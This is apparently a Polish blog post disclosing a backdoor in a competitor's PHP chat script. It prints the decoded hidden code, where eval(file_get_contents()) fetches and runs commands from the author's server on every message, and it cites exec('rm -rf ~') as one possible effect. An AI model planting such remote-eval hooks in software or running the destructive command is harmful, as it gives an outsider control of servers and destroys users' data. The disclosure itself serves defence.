Masz czat na skrypcie konkurencji? Uważaj, jeden z autorów umieścił w swoim kodzie backdoora dającego mu nieograniczone możliwości robienia z czatem co tylko chce.
Przez grzeczność nie podamy kto jest autorem wspomnianego czatu, ale jeśli ma on katalogi takie jak “Class”, “Cmd”, “Configs”, “GGBotApi” to ten tekst jest dla Ciebie.
Otwieramy plik Class/main-functions.php i zaczynamy.
W liniach 86 oraz 87 widzimy nieco zaciemniony kod który wygląda tak:
eval(base64_decode(‘ZXZhbChiYXNlNjRfZGVjb2RlK…
Samo odszyfrowanie tego kodu nie wystarczy, bo jest tam kolejny eval i tak kilka razy aż otrzymujemy przejrzysty kod:
$url = ‘http://dewochatscript.us.to/check.php?check=nr&nr=’.$from;
eval(file_get_contents($url));
Druga linijka jeszcze mocniej przyciemniona bo po zdekodowaniu zmienne o dziwnych ciągach znaków znów podstawione do evala. Wydajnościowa bomba, ale pomińmy to. Czyli request jest przekazywany do serwera autora i oczekuje na rozkazy. Domyślnie jest tam
eval(buildFunc());if($user[‘rank’] >= 6 && $user[‘nr’] != 5XXX9) die(“Blad. Licencja skryptu nie zezwala na zmiane ilosci rang!”);
Czyli dalsze wykonanie skryptu na tyle sprytnie zrobione, że wywalenie zaciemionego kodu go całkiem przerywa, ale… takie rozwiązanie daje nieograniczone możliwości. exec(‘rm -rf ~’) - jako skasowanie wszystkich danych użytkownika i o wiele innych, poprostu wykonanie dowolnego kodu na serwerze czatu który by się autorowi nie spodobał.
Jedziemy dalej, linia 107 i 108, identyczna sytuacja, zaciemniony kod, a po odkodowaniu:
$url = ‘http://dewochatscript.us.to/check.php?check=nr&nr=’.$from;
eval(file_get_contents($url));
Znów to samo. Autor zadał sobie sporo trudu aby to zaciemnić, chyba więcej niż aby stworzyć ten skrypt. Warto nadmienić, że takie cudo idzie co wiadomość więc jest to nie dość, że wydajnościowa bomba do zdekodowania, to jeszcze oczekiwanie na połączenie, no i backdoor.
Docieramy w końcu do linii 128 i 129 które z założenia mają być checkverem:
$url = ‘http://dewochatscript.us.to/check.php?check=ver&ver=’.$VER.’&gg=’.$gg;
eval(file_get_contents($url));
Skrypt jest naszpikowany kodem który jest zaciemniony w większości przypadków 6cio krotnie. Umożliwia to autorowi wykonanie dowolnego kodu na czacie którego nie polubi, i bynajmniej nie chodzi o to, że da sobie rangę ;) Jeśli serwer PHP pozwala na exec to może wykonać wszystko na serwerze, skasować dane użytkownika, a co tam.
Oficjalne stanowisko autora jest takie, że są to funkcje które często musi aktualizować, ale ja w to nie wierzę. Można wydać nową wersję, nie trzeba tak cudować.
Jeśli używasz tego czatu, to przestań jak najszybciej. Stanowi on poważne zagrożenie dla twoich danych oraz twojego serwera. Jeśli ktoś chce zobaczyć cały plik który omawiałem to jest on tutaj: link